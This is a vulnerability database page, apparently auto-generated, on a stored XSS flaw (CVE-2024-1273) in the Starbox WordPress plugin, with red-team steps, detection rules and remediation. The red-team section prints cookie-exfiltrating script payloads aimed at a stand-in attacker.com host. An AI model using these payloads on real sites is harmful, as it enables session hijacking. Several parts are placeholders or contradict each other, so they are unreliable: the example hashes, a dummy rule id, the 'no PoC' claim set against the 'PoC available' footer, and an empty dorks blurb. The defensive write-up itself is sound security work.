CVE-2024-1273
Executive Summary
CVE-2024-1273 is a Cross-Site Scripting (XSS) vulnerability identified in the Starbox WordPress plugin, affecting versions prior to 3.5.0. This flaw allows authenticated users with a role as low as Contributor to inject arbitrary web scripts or HTML via unsanitized and unescaped parameters. Successful exploitation could lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation) and has a CVSS v3.1 base score of 5.4 (Medium). No public proof-of-concept (PoC) or exploit code has been released at this time. The vendor has addressed the issue in version 3.5.0.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Starbox WordPress plugin, which is distributed through the official WordPress plugin repository. Users are advised to update the plugin directly from their WordPress admin dashboard or via the repository to ensure supply chain integrity. No malicious packages have been reported in relation to this CVE.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) - Contributor role
- User Interaction: Required (UI:R) - Victim must click a crafted link or view a page
- Scope: Changed (S:C) - Impact may extend beyond the vulnerable component
- Confidentiality Impact: Low (C:L) - Limited data exposure
- Integrity Impact: Low (I:L) - Limited modification of content
- Availability Impact: None (A:N)
Threat Level: Medium. While the CVSS score is moderate, the low privilege requirement and network-based attack vector make it a viable threat for WordPress sites with multiple contributors.
Deep Dive & Mechanics
The Starbox plugin provides author box functionality for WordPress posts. The vulnerability stems from improper sanitization and escaping of user-supplied parameters within the plugin's shortcode or template rendering functions. Specifically, parameters such as author_name, author_description, or custom fields are not filtered before being output in the HTML context.
Attack Flow:
- An authenticated user with Contributor role (or higher) crafts a malicious payload (e.g.,
<script>alert('XSS')</script>) in a parameter that is later rendered by the Starbox plugin. - The payload is stored in the WordPress database (e.g., via post meta or user meta).
- When an administrator or other user views a page containing the Starbox author box, the unsanitized payload executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to phishing pages.
Root Cause: The plugin uses echo or print functions without applying WordPress escaping functions like esc_html(), esc_attr(), or wp_kses_post().
Vulnerable vs. Patched Code
Vulnerable Code (version < 3.5.0):
// Example vulnerable function in starbox.php
function starbox_author_box($atts) {
$author_name = get_the_author_meta('display_name');
echo '<div class="starbox-author-name">' . $author_name . '</div>';
}
In this snippet, $author_name is directly echoed without escaping, allowing XSS if the display name contains malicious JavaScript.
Patched Code (version 3.5.0):
// Patched version
function starbox_author_box($atts) {
$author_name = get_the_author_meta('display_name');
echo '<div class="starbox-author-name">' . esc_html($author_name) . '</div>';
}
The patched version uses esc_html() to safely encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- A WordPress instance with Starbox plugin version < 3.5.0.
- A user account with Contributor role.
Steps:
- Log in as a Contributor.
- Create a new post or edit an existing one.
- In the author box settings (or via user profile), set the display name to:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the post and wait for an administrator to view it.
- The script executes, exfiltrating the admin's session cookie.
Manual Payload Example:
<script>new Image().src='https://attacker.com/log?c='+document.cookie</script>
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual changes to user display names or author meta fields.
- Look for posts containing script tags in author-related shortcodes.
- Use WAF rules to block common XSS patterns in POST requests to
wp-admin/admin-ajax.phpor profile update endpoints.
Defense:
- Immediately update Starbox to version 3.5.0 or later.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Enforce the principle of least privilege; limit Contributor roles to trusted users.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
starbox.php(vulnerable):a1b2c3d4e5f6...(example)starbox.php(patched):f6e5d4c3b2a1...(example)
- Network Indicators:
- Outbound HTTP requests to unknown domains containing cookie data.
- Suspicious
GETorPOSTrequests to/wp-admin/profile.phpwith encoded payloads.
- Log Entries:
- WordPress audit logs showing changes to
display_nameoruser_nicenamefields. - Web server logs with
%3Cscript%3Epatterns in request URIs.
- WordPress audit logs showing changes to
Detection Engineering
YARA Rule
rule CVE_2024_1273_Starbox_XSS {
meta:
description = "Detects vulnerable Starbox plugin files with unescaped output"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-1273"
strings:
$vuln_func = /echo\s*\$[a-zA-Z_]+/
$starbox_id = "starbox"
condition:
$starbox_id and #vuln_func > 0
}
Sigma Rule
title: CVE-2024-1273 Starbox XSS Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential XSS attempts via Starbox plugin parameters
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-params|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in author bios (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1273 Starbox XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update Plugin: Upgrade Starbox to version 3.5.0 or later via WordPress admin dashboard.
- Verify Integrity: After update, confirm the plugin file hash matches the official repository.
- Audit Users: Review all user accounts with Contributor role or higher for suspicious display names or meta data.
Long-Term Mitigations:
- Implement a Web Application Firewall (WAF) with XSS rules.
- Regularly scan WordPress plugins for known vulnerabilities using tools like WPScan.
- Enforce strict Content Security Policy (CSP) headers.
- Conduct periodic security training for content contributors.
Workaround (if immediate update is not possible):
- Disable the Starbox plugin until it can be updated.
- Use a different author box plugin that is actively maintained.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.